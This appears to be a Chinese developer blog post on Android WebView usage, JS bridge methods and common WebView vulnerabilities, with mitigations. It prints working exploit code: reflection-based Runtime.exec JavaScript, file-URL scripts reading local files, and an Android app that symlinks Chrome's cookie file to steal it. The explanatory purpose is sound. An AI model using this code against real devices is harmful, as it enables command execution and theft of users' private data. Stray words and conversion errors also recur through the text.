這篇博客主要來介紹 WebView 的相關使用方法,常見的幾個漏洞,開發中可能遇到的坑和最後解決相應漏洞的源碼,以及針對該源碼的解析。
轉載請註明出處:blog.csdn.net/self_study/…
對技術感興趣的同鞋加羣 544645972 一塊兒交流。javascript
如今市面上的 APP 根據類型大體能夠分爲 3 類:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 「Native APP 良好用戶交互體驗的優點」和 「Web APP 跨平臺開發的優點」,如今不少的主流應用也是使用 Hybrid 模式開發的。html
爲何要使用 Hybrid 開發呢,這就要提到 native 開發的限制:
1.客戶端發板週期長
衆所周知,客戶端的發板週期在正常狀況下比較長,就算是創業公司的迭代也在一到兩個星期一次,大公司的迭代週期通常都在月這個數量級別上,並且 Android 還好,iOS 的審覈就算變短了也有幾天,並且可能會有審覈不經過的意外狀況出現,所謂爲了應對業務的快速發展,不少業務好比一些活動頁面就可使用 H5 來進行開發。
2.客戶端大小體積受限
若是全部的東西都使用 native 開發,好比上面提到的活動頁面,就會形成大量的資源文件要加入到 APK 中,這就形成 APK 大小增長,並且有的活動頁面更新很快,形成資源文件可能只會使用一個版本,若是不及時清理,就會形成資源文件的殘留。
3.web 頁面的體驗問題
使用純 Web 開發,比之前迭代快速不少,可是從某種程度上來講,仍是不如原生頁面的交互體驗好;
4.沒法跨平臺
通常狀況下,同同樣的頁面在 android 和 iOS 上須要寫兩份不一樣的代碼,可是如今只須要寫一份便可,Hybrid 具備跨平臺的優點。
因此綜上這兩種方式單獨處理都不是特別好,考慮到發版週期不定,並且體驗交互上也不能不好,因此就把兩種方式綜合起來,讓終端和前端共同開發一個 APP,這樣一些迭代很穩定的頁面就可使用原生,增長體驗性;一些迭代很快速的頁面就可使用 H5,讓兩種優勢結合起來,彌補原來單個開發模式的缺點。
前端
H5 和 Native 的體驗差距主要在兩個方面:
1.頁面渲染瓶頸
第一個是前端頁面代碼渲染,受限於 JS 的解析效率,以及手機硬件設備的一些性能,因此從這個角度來講,咱們應用開發者是很難從根本上解決這個問題的;
2.資源加載緩慢
第二個方面是 H5 頁面是從服務器上下發的,客戶端的頁面在內存裏面,在頁面加載時間上面,根據網絡情況的不一樣,H5 頁面的體驗和 Native 在不少狀況下相比差距仍是不小的,可是這種問題從某種程度上來講也是能夠彌補的,好比說咱們能夠作一些資源預加載的方案,在資源預加載方面,其實也有不少種方式,下面主要列舉了一些:java
咱們來看看 Google 官網關於 WebView 的介紹:android
A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.複製代碼
能夠看到 WebView 是一個顯示網頁的控件,而且能夠簡單的顯示一些在線的內容,而且基於 WebKit 內核,在 Android4.4(API Level 19) 引入了一個基於 Chromium 的新版本 WebView ,這讓咱們的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一點須要注意的是因爲 WebView 的升級,對於咱們的程序也帶來了一些影響,若是咱們的 targetSdkVersion 設置的是 18 或者更低, single and narrow column 和 default zoom levels 再也不支持。Android4.4 以後有一個特別方便的地方是能夠經過 setWebContentDebuggingEnabled() 方法讓咱們的程序能夠進行遠程桌面調試。git
WebView 有四個用來加載頁面的方法:github
使用 WebView 的時候,通常都會對其進行一些設置,咱們來看看常見的設置:web
WebSettings webSettings = webView.getSettings();
//設置了這個屬性後咱們才能在 WebView 裏與咱們的 Js 代碼進行交互,對於 WebApp 是很是重要的,默認是 false,
//所以咱們須要設置爲 true,這個自己會有漏洞,具體的下面我會講到
webSettings.setJavaScriptEnabled(true);
//設置 JS 是否能夠打開 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
//WebView 是否支持多窗口,若是設置爲 true,須要重寫
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函數,默認爲 false
webSettings.setSupportMultipleWindows(true);
//這個屬性用來設置 WebView 是否可以加載圖片資源,須要注意的是,這個方法會控制全部圖片,包括那些使用 data URI 協議嵌入
//的圖片。使用 setBlockNetworkImage(boolean) 方法來控制僅僅加載使用網絡 URI 協議的圖片。須要提到的一點是若是這
//個設置從 false 變爲 true 以後,全部被內容引用的正在顯示的 WebView 圖片資源都會自動加載,該標識默認值爲 true。
webSettings.setLoadsImagesAutomatically(false);
//標識是否加載網絡上的圖片(使用 http 或者 https 域名的資源),須要注意的是若是 getLoadsImagesAutomatically()
//不返回 true,這個標識將沒有做用。這個標識和上面的標識會互相影響。
webSettings.setBlockNetworkImage(true);
//顯示WebView提供的縮放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);
//設置是否啓動 WebView API,默認值爲 false
webSettings.setDatabaseEnabled(true);
//打開 WebView 的 storage 功能,這樣 JS 的 localStorage,sessionStorage 對象纔可使用
webSettings.setDomStorageEnabled(true);
//打開 WebView 的 LBS 功能,這樣 JS 的 geolocation 對象纔可使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");
//設置是否打開 WebView 表單數據的保存功能
webSettings.setSaveFormData(true);
//設置 WebView 的默認 userAgent 字符串
webSettings.setUserAgentString("");
//設置是否 WebView 支持 「viewport」 的 HTML meta tag,這個標識是用來屏幕自適應的,當這個標識設置爲 false 時,
//頁面佈局的寬度被一直設置爲 CSS 中控制的 WebView 的寬度;若是設置爲 true 而且頁面含有 viewport meta tag,那麼
//被這個 tag 聲明的寬度將會被使用,若是頁面沒有這個 tag 或者沒有提供一個寬度,那麼一個寬型 viewport 將會被使用。
webSettings.setUseWideViewPort(false);
//設置 WebView 的字體,能夠經過這個函數,改變 WebView 的字體,默認字體爲 "sans-serif"
webSettings.setStandardFontFamily("");
//設置 WebView 字體的大小,默認大小爲 16
webSettings.setDefaultFontSize(20);
//設置 WebView 支持的最小字體大小,默認爲 8
webSettings.setMinimumFontSize(12);
//設置頁面是否支持縮放
webSettings.setSupportZoom(true);
//設置文本的縮放倍數,默認爲 100
webSettings.setTextZoom(2);複製代碼
而後還有最經常使用的 WebViewClient 和 WebChromeClient,WebViewClient主要輔助WebView執行處理各類響應請求事件的,好比:chrome
mWebView.clearCache(true);
;清空歷史記錄
mWebview.clearHistory();
,這個方法要在
onPageFinished()
的方法以後調用。
使用 Hybrid 開發的 APP 基本都須要 Native 和 web 頁面的 JS 進行交互,下面介紹一下交互的方式。
json
如何讓 web 頁面調用 native 的代碼呢,有三種方式:
第一種方式:經過 addJavascriptInterface 方法進行添加對象映射
這種是使用最多的方式了,首先第一步咱們須要設置一個屬性:
mWebView.getSettings().setJavaScriptEnabled(true);複製代碼
這個函數會有一個警告,由於在特定的版本之下會有很是危險的漏洞,咱們下面將會着重介紹到,設置完這個屬性以後,Native 須要定義一個類:
public class JSObject {
private Context mContext;
public JSObject(Context context) {
mContext = context;
}
@JavascriptInterface
public String showToast(String text) {
Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
return "success";
}
}
...
//特定版本下會存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");複製代碼
須要注意的是在 API17 版本以後,須要在被調用的地方加上 @addJavascriptInterface 約束註解,由於不加上註解的方法是沒有辦法被調用的,JS 代碼也很簡單:
function showToast(){
var result = myObj.showToast("我是來自web的Toast");
}複製代碼
能夠看到,這種方式的好處在於使用簡單明瞭,本地和 JS 的約定也很簡單,就是對象名稱和方法名稱約定好便可,缺點就是下面要提到的漏洞問題。
第二種方式:利用 WebViewClient 接口回調方法攔截 url
這種方式其實實現也很簡單,使用的頻次也很高,上面咱們介紹到了 WebViewClient ,其中有個回調接口 shouldOverrideUrlLoading (WebView view, String url)) ,咱們就是利用這個攔截 url,而後解析這個 url 的協議,若是發現是咱們預先約定好的協議就開始解析參數,執行相應的邏輯,咱們先來看看這個函數的介紹:
Give the host application a chance to take over the control when a new url is about to be loaded in
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager
to choose the proper handler for the url. If WebViewClient is provided, return true means the host
application handles the url, while return false means the current WebView handles the url. This
method is not called for requests using the POST "method".複製代碼
注意這個方法在 API24 版本已經廢棄了,須要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request)) 替代,使用方法很相似,咱們這裏就使用 shouldOverrideUrlLoading (WebView view, String url)) 方法來介紹一下:
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//假定傳入進來的 url = "js://openActivity?arg1=111&arg2=222",表明須要打開本地頁面,而且帶入相應的參數
Uri uri = Uri.parse(url);
String scheme = uri.getScheme();
//若是 scheme 爲 js,表明爲預先約定的 js 協議
if (scheme.equals("js")) {
//若是 authority 爲 openActivity,表明 web 須要打開一個本地的頁面
if (uri.getAuthority().equals("openActivity")) {
//解析 web 頁面帶過來的相關參數
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
}
//表明應用內部處理完成
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}複製代碼
代碼很簡單,這個方法能夠攔截 WebView 中加載 url 的過程,獲得對應的 url,咱們就能夠經過這個方法,與網頁約定好一個協議,若是匹配,執行相應操做,咱們看一下 JS 的代碼:
function openActivity(){
document.location = "js://openActivity?arg1=111&arg2=222";
}複製代碼
這個代碼執行以後,就會觸發本地的 shouldOverrideUrlLoading 方法,而後進行參數解析,調用指定方法。這個方式不會存在第一種提到的漏洞問題,可是它也有一個很繁瑣的地方是,若是 web 端想要獲得方法的返回值,只能經過 WebView 的 loadUrl 方法去執行 JS 方法把返回值傳遞回去,相關的代碼以下:
//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");複製代碼
//javascript
function returnResult(result){
alert("result is" + result);
}複製代碼
因此說第二種方式在返回值方面仍是很繁瑣的,可是在不須要返回值的狀況下,好比打開 Native 頁面,仍是很合適的,制定好相應的協議,就可以讓 web 端具備打開全部本地頁面的能力了。
第三種方式:利用 WebChromeClient 回調接口的三個方法攔截消息
這個方法的原理和第二種方式原理同樣,都是攔截相關接口,只是攔截的接口不同:
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
return super.onJsConfirm(view, url, message, result);
}
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
//假定傳入進來的 message = "js://openActivity?arg1=111&arg2=222",表明須要打開本地頁面,而且帶入相應的參數
Uri uri = Uri.parse(message);
String scheme = uri.getScheme();
if (scheme.equals("js")) {
if (uri.getAuthority().equals("openActivity")) {
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
//表明應用內部處理完成
result.confirm("success");
}
return true;
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}複製代碼
和 WebViewClient 同樣,此次添加的是 WebChromeClient 接口,能夠攔截 JS 中的幾個提示方法,也就是幾種樣式的對話框,在 JS 中有三個經常使用的對話框方法:
function clickprompt(){
var result=prompt("js://openActivity?arg1=111&arg2=222");
alert("open activity " + result);
}複製代碼
這裏須要注意的是 prompt 裏面的內容是經過 message 傳遞過來的,並非第二個參數的 url,返回值是經過 JsPromptResult 對象傳遞。爲何要攔截 onJsPrompt 方法,而不是攔截其餘的兩個方法,這個從某種意義上來講都是可行的,可是若是須要返回值給 web 端的話就不行了,由於 onJsAlert 是不能返回值的,而 onJsConfirm 只可以返回肯定或者取消兩個值,只有 onJsPrompt 方法是能夠返回字符串類型的值,操做最全面方便。
以上三種方案的總結和對比
以上三種方案都是可行的,在這裏總結一下
第一種方式
native 調用 js 的方法上面已經介紹到了,方法爲:
//java
mWebView.loadUrl("javascript:show(" + result + ")");複製代碼
//javascript
<script type="text/javascript">
function show(result){
alert("result"=result);
return "success";
}
</script>複製代碼
須要注意的是名字必定要對應上,要否則是調用不成功的,並且還有一點是 JS 的調用必定要在 onPageFinished 函數回調以後才能調用,要否則也是會失敗的。
第二種方式
若是如今有需求,咱們要獲得一個 Native 調用 Web 的回調怎麼辦,Google 在 Android4.4 爲咱們新增長了一個新方法,這個方法比 loadUrl 方法更加方便簡潔,並且比 loadUrl 效率更高,由於 loadUrl 的執行會形成頁面刷新一次,這個方法不會,由於這個方法是在 4.4 版本才引入的,因此咱們使用的時候須要添加版本的判斷:
final int version = Build.VERSION.SDK_INT;
if (version < 18) {
mWebView.loadUrl(jsStr);
} else {
mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
//此處爲 js 返回的結果
}
});
}複製代碼
兩種方式的對比
通常最常使用的就是第一種方法,可是第一種方法獲取返回的值比較麻煩,而第二種方法因爲是在 4.4 版本引入的,因此侷限性比較大。
WebView 的漏洞也是很多,列舉一些常見的漏洞,實時更新,若是有其餘的常見漏洞,知會一下我~~
已知的 WebView 任意代碼執行漏洞有 4 個,較早被公佈是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引發遠程代碼執行漏洞。接着是 CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引發的遠程代碼執行漏洞。以後是 CVE-2014-1939 爆出 WebView 中內置導出的 「searchBoxJavaBridge_」 Java Object 可能被利用,實現遠程任意代碼。再後來是 CVE-2014-7224,相似於 CVE-2014-1939 ,WebView 內置導出 「accessibility」 和 「accessibilityTraversal」 兩個 Java Object 接口,可被利用實現遠程任意代碼執行。
通常狀況下,WebView 使用 Javascript 腳本的代碼以下所示:
WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), 「testjs」);
mWebView.loadUrl(url);複製代碼
Android 系統爲了方便 APP 中 Java 代碼和網頁中的 Javascript 腳本交互,在 WebView 控件中實現了 addJavascriptInterface 接口,如上面的代碼所示,咱們來看一下這個方法的官方描述:
This method can be used to allow JavaScript to control the host application. This is a powerful feature,
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called
only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection
to access an injected object's public fields. Use of this method in a WebView containing untrusted
content could allow an attacker to manipulate the host application in unintended ways, executing Java
code with the permissions of the host application. Use extreme care when using this method in a WebView
which could contain untrusted content.複製代碼
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore
required to maintain thread safety.The Java object's fields are not accessible.複製代碼
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are
enumerable from JavaScript.複製代碼
能夠看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 以前的版本中,使用這個方法是不安全的,網頁中的JS腳本能夠利用接口 「testjs」 調用 App 中的 Java 代碼,而 Java 對象繼承關係會致使不少 Public 的函數及 getClass 函數均可以在JS中被訪問,結合 Java 的反射機制,攻擊者還能夠得到系統類的函數,進而能夠進行任意代碼執行,首先第一步 WebView 添加 Javascript 對象,而且添加一些權限,好比想要獲取 SD 卡上面的信息就須要 android.permission.WRITE_EXTERNAL_STORAGE
;第二步 JS 中能夠遍歷 window 對象,找到存在 getClass 方法的對象,再經過反射的機制,獲得 Runtime 對象,而後就能夠調用靜態方法來執行一些命令,好比訪問文件的命令;第三步就是從執行命令後返回的輸入流中獲得字符串,好比執行完訪問文件的命令以後,就能夠獲得文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:
function execute(cmdArgs) {
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}複製代碼
因此當一些 APP 經過掃描二維碼打開一個外部網頁的時候,就能夠執行這段 js 代碼,漏洞在 2013 年 8 月被披露後,不少 APP 都中招,其中瀏覽器 APP 成爲重災區,但截至目前仍有不少 APP 中依然存在此漏洞,與以往不一樣的只是攻擊入口發生了必定的變化。另一些小廠商的 APP 開發團隊由於缺少安全意識,依然還在APP中爲所欲爲的使用 addJavascriptInterface 接口,明目張膽踩雷。
出於安全考慮,Google 在 API17 版本中就規定可以被調用的函數必須以 @JavascriptInterface 進行註解,理論上若是 APP 依賴的 API 爲 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,因此危害性到目前爲止依舊不小。關於全部 Android 機型的佔比,能夠看看 Google 的 Dashboards:
javascript:(function JsAddJavascriptInterface_(){
if(typeof(window.XXX_js_interface_name)!='undefined'){
console.log('window.XXX_js_interface_name is exist!!');
}else{
window.XXX_js_interface_name={
XXX:function(arg0,arg1){
return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
},
};
}
})()複製代碼
這段 JS 代碼定義了注入的格式,其中的 XXX 爲注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調用便可,若是這個對象有多個方法,則會註冊多個 window.XXX_js_interface_name 塊;
在 2014 年發如今 Android4.4 如下的系統中,webkit 中默認內置了 「searchBoxJavaBridge」,代碼位於 「java/android/webkit/BrowserFrame.java」,該接口一樣存在遠程代碼執行的威脅,因此就算沒有經過 addJavascriptInterface 加入任何的對象,系統也會加入一個 searchBoxJavaBridge 對象,解決辦法就是經過 removeJavascriptInterface 方法將對象刪除。
在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啓時,在 Android4.4 如下的系統中,由系統提供的 WebView 組件都默認導出 」accessibility」 和 」accessibilityTraversal」 這兩個接口,代碼位於 「android/webkit/AccessibilityInjector.java」,這兩個接口一樣存在遠程任意代碼執行的威脅,一樣的須要經過 removeJavascriptInterface 方法將這兩個對象刪除。
WebView 默認開啓密碼保存功能 mWebView.setSavePassword(true),若是該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,若是選擇」是」,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,因此須要經過 WebSettings.setSavePassword(false) 關閉密碼保存提醒功能。
要了解 WebView 中 file 協議的安全性,咱們這裏用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫作 WebViewActivity :
public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);
//webView.getSettings().setJavaScriptEnabled(true); (0)
//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
Intent i = getIntent();
String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html
webView.loadUrl(url);
}
}複製代碼
將該 WebViewActivity 設置爲 exported="true",當其餘應用啓動此 Activity 時, intent 中的 data 直接被看成 url 來加載(假定傳進來的 url 爲 file:///data/local/tmp/attack.html ),經過其餘 APP 使用顯式 ComponentName 或者其餘相似方式就能夠很輕鬆的啓動該 WebViewActivity ,咱們知道由於 Android 中的 sandbox,Android 中的各應用是相互隔離的,在通常狀況下 A 應用是不能訪問 B 應用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用數據泄露的威脅,即 A 應用能夠經過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協議的 url,從而能夠獲取 B 應用的內部私有文件,下面咱們着重分析這幾個 API 對 WebView 安全性的影響。
Enables or disables file access within WebView. File access is enabled by default. Note that this
enables or disables file system access only. Assets and resources are still accessible using
file:///android_asset and file:///android_res.複製代碼
經過這個 API 能夠設置是否容許 WebView 使用 File 協議,Android 中默認 setAllowFileAccess(true),因此默認值是容許,在 File 域下,可以執行任意的 JavaScript 代碼,同源策略跨域訪問則可以對私有目錄文件進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 作限制,因此使用 file 域加載的 js 可以使用同源策略跨域訪問致使隱私信息泄露,針對 IM 類軟件會致使聊天信息、聯繫人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。若是不容許使用 file 協議,則不會存在下面將要講到的各類跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協議後,讓 WebViewActivity 打開 attack.html 會獲得以下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協議的文件。
Sets whether JavaScript running in the context of a file scheme URL should be allowed to access
content from other file scheme URLs. To enable the most restrictive, and therefore secure policy,
this setting should be disabled. Note that the value of this setting is ignored if the value of
getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript
access to file scheme resources. Other access to such resources, for example, from image HTML
elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH
and earlier devices, you should explicitly set this value to false.
The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level
JELLY_BEAN and above.複製代碼
經過此API能夠設置是否容許經過 file url 加載的 Javascript 讀取其餘的本地文件,這個設置在 JELLY_BEAN(android 4.1) 之前的版本默認是容許,在 JELLY_BEAN 及之後的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設置爲 true 時,對應上面的 attack.html 代碼爲:
<script>
function loadXMLDoc() {
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>複製代碼
,此時經過這段代碼就能夠成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,因爲未對 file 域作安全限制,惡意 APP 調用 360 瀏覽器加載本地的攻擊頁面(好比惡意 APP 釋放到 sd 卡上的一個 html)後,就能夠獲取 360 手機瀏覽器下的全部私有數據,包括 webviewCookiesChromium.db 下的 Cookie 內容,可是若是設置爲 false 時,上述腳本執行會致使以下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:
I/chromium(27749): [INFO:CONSOLE(0)] 「XMLHttpRequest cannot load file:///etc/hosts. Cross origin
requests are only supported for HTTP.」, source: file:///data/local/tmp/attack.html複製代碼
經過此 API 能夠設置是否容許經過 file url 加載的 Javascript 能夠訪問其餘的源,包括其餘的文件和 http,https 等其餘的源。這個設置在 JELLY_BEAN 之前的版本默認是容許,在 JELLY_BEAN 及之後的版本中默認是禁止的。若是此設置是容許,則 setAllowFileAccessFromFileURLs 不起作用,此時修改 attack.html 的代碼:
<script>
function loadXMLDoc() {
var arm = "http://www.so.com";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>複製代碼
當 AllowFileAccessFromFileURLs 爲 true 時,上述 javascript 能夠成功讀取 www.so.com 的內容,但設置爲 false 時,上述腳本執行會致使以下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其餘源的資源:
I/chromium(28336): [INFO:CONSOLE(0)] 「XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.」, source: file:///data/local/tmp/attack.html複製代碼
經過以上的介紹,初步的方案是使用下面的代碼來杜絕:
setAllowFileAccess(true); //設置爲 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);複製代碼
這樣就可讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其餘的源,不是就 OK 了麼,並且在 JELLY_BEAN(android 4.1) 版本以及以後不是都默認爲 false 了麼,其實否則,咱們繼續往下看其餘漏洞。
爲了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設置爲禁止,在 JELLY_BEAN(android 4.1) 及之後的版本中這兩項設置默認也是禁止的,可是即便把這兩項都設置爲 false,經過 file URL 加載的 javascript 仍然有方法訪問其餘的本地文件,經過符號連接攻擊能夠達到這一目的,前提是容許 file URL 執行 javascript。這一攻擊能奏效的緣由是不管怎麼限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的文件,經過 javascript 的延時執行和將當前文件替換成指向其它文件的軟連接就能夠讀取到被符號連接所指的文件,具體攻擊步驟見 Chromium bug 144866,下面也貼出了代碼和詳解。由於 Chrome 最新版本默認禁用 file 協議,因此這一漏洞在最新版的 Chrome 中並不存在,Google 也並無修復它,可是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,經過利用此漏洞,無特殊權限的惡意 APP 能夠盜取瀏覽器的任意私有文件,包括但不限於 Cookie、保存的密碼、收藏夾和歷史記錄,並能夠將所盜取的文件上傳到攻擊者的服務器。下圖爲經過 file URL 讀取某手機瀏覽器 Cookie 的截圖:
public class MainActivity extends AppCompatActivity {
public final static String MY_PKG = "com.example.safewebview";
public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
public final static String TARGET_PKG = "com.android.chrome";
public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;" +
"function doitjs() {" +
" var xhr = new XMLHttpRequest;" +
" xhr.onload = function() {" +
" var txt = xhr.responseText;" +
" d.body.appendChild(d.createTextNode(txt));" +
" alert(txt);" +
" };" +
" xhr.open('GET', d.URL);" +
" xhr.send(null);" +
"}" +
"setTimeout(doitjs, 8000);" +
"</script>" +
"</body>";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
doit();
}
public void doit() {
try {
// Create a malicious HTML
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
// Force Chrome to load the malicious HTML
invokeChrome("file://" + HTML_PATH);
Thread.sleep(4000);
// Replace the HTML with a symlink to Chrome's Cookie file
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
} catch (Exception e) {
}
}
public void invokeChrome(String url) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
startActivity(intent);
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
}
}
}複製代碼
這就是使用符號連接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名爲 xx.html,而且修改該目錄的權限,修改完成以後休眠 1s,讓文件操做完成,完成以後經過系統的 Chrome 應用去打開這個 xx.html 文件,而後等待 4s 讓 Chrome 加載完成該 html,最後將該 html 刪除,而且使用 ln -s 命令爲 Chrome 的 Cookie 文件建立軟鏈接,注意,在這條命令執行以前 xx.html 是不存在的,執行完這條命令以後,就生成了這個文件,而且將 Cookie 文件連接到了 xx.html 上,因而就能夠經過連接來訪問 Chrome 的 Cookie 了。
經過此 API 能夠設置是否容許 WebView 使用 JavaScript,默認是不容許,但不少應用,包括移動瀏覽器爲了讓 WebView 執行 http 協議中的 JavaScript,都會主動設置容許 WebView 執行 JavaScript,而又不會對不一樣的協議區別對待,比較安全的實現是若是加載的 url 是 http 或 https 協議,則啓用 JavaScript,若是是其它危險協議,好比是 file 協議,則禁用 JavaScript。若是是 file 協議,禁用 javascript 能夠很大程度上減少跨源漏洞對 WebView 的威脅,可是此時禁用 JavaScript 的執行並不能徹底杜絕跨源文件泄露。例如,有的應用實現了下載功能,對於加載不了的頁面,會自動下載到 sd 卡中,因爲 sd 卡中的文件全部應用均可以訪問,因而能夠經過構造一個 file URL 指向被攻擊應用的私有文件,而後用此 URL 啓動被攻擊應用的 WebActivity,這樣因爲該 WebActivity 沒法加載該文件,就會將該文件下載到 sd 卡下面,而後就能夠從 sd 卡上讀取這個文件了,固然這種應用比較少,這個也算是應用自身無心產生的一個漏洞吧。
針對 WebView 域控制不嚴格漏洞的安全建議以下:
setAllowFileAccess(false); //設置爲 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);複製代碼
第二種是根據不一樣狀況不一樣處理(沒法避免應用對於沒法加載的頁面下載到 sd 卡上這個漏洞):
setAllowFileAccess(true); //設置爲 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}複製代碼
這裏記錄一下開發中遇到的一些坑和解決辦法:
咱們能夠經過使用 WebView.loadData(String data, String mimeType, String encoding)) 方法來加載一整個 HTML 頁面的一小段內容,第一個就是咱們須要 WebView 展現的內容,第二個是咱們告訴 WebView 咱們展現內容的類型,通常,第三個是字節碼,可是使用的時候,這裏會有一些坑,咱們來看一個簡單的例子:
String html = new String("<h3>我是loadData() 的標題</h3><p>  我是他的內容</p>");
webView.loadData(html, "text/html", "UTF-8");複製代碼
